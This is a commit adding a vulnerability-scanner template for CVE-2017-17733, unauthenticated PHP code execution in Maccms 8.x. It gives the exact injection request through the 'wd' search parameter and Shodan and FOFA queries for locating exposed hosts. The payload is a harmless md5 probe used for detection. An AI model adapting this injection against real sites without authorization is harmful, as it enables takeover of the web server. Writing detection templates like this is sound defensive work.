CVE-2017-17733 - Maccms 8.x - Remote Code Execution

2026-11-13 05:42:08 -10:00 · 2026-11-13 19:47:21 +05:30
1 changed files with 43 additions and 0 deletions
@@ -0,0 +1,43 @@
+id: CVE-2017-17733
+
+info:
+  name: Maccms 8.x - Remote Code Execution
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search (CVE-2017-17733). The MacCMS template parser compiles the {if-A:<expr>}...{endif-A} tag into PHP that evaluates <expr>, so a crafted wd value runs arbitrary PHP (and OS commands via system/exec). This template injects print(md5(<nonce>)) and confirms code execution when the nonce's md5 is reflected in the response. The payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts.
+  impact: |
+    An unauthenticated remote attacker executes arbitrary PHP and OS commands as the web-server user, fully compromising the Maccms host.
+  remediation: |
+    Upgrade Maccms to a fixed release and disable evaluation of user-controlled template {if} expressions. Restrict access to the application.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-17733
+    - https://www.cvedetails.com/cve/CVE-2017-17733/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-17733
+    cwe-id: CWE-94
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.html:"MacCms"
+    fofa-query: app="maccms"
+  tags: cve,cve2017,maccms,rce,injection,kev,vkev
+
+variables:
+  num: "{{rand_int(10000000, 99999999)}}"
+
+http:
+  - raw:
+      - |
+        GET /index.php?m=vod-search&wd={if-A:print(md5({{num}}))}{endif-A} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, md5(num))"
+        condition: and